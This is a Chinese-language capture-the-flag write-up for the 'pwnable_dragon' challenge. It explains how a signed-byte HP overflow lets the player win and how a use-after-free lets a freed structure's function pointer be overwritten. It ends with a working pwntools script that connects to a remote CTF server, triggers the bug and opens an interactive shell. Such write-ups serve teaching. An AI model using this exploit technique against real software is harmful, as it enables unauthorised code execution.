0%

pwnable_dragon

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,游戏结束后释放掉了ptr

也就是释放掉了v5,而当我们打赢游戏的时候,又malloc(0x10)并输入,然后又调用了v5里面的函数指针,由于v5之前free掉了,所以这里malloc(0x10)并输入,控制的就是v5指向的那块内存,将里面指针指向后面函数即可。

现在是如何才能赢得游戏,观察龙的血量,是一个byte

而赢得游戏的条件是龙的血量小于等于0

Byte的话超过127,就小于等于0了,因此,我们让龙的血量不断增加,最终溢出即可赢得游戏。第一次,我们故意输掉游戏,然后来到第二次,龙的血量初始化为80,也就是0x50,这样我们只需让龙的血量增加0x30即可轻松赢得游戏。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#coding:utf8
from pwn import *

#sh = process('./pwnable_dragon')
sh = remote('node3.buuoj.cn',29862)
def win():
#第一次输掉
sh.sendlineafter('[ 2 ] Knight','1')
for i in range(2):
sh.sendline('3')
sh.sendline('3')
sh.sendline('2')
#第二次,dragon的血为80,我们让其增加溢出127后即可赢
sh.sendlineafter('[ 2 ] Knight','1')
for i in range(4):
sh.sendline('3')
sh.sendline('3')
sh.sendline('2')


win()
sh.sendlineafter('The World Will Remember You As:',p32(0x08048DBF))

sh.interactive()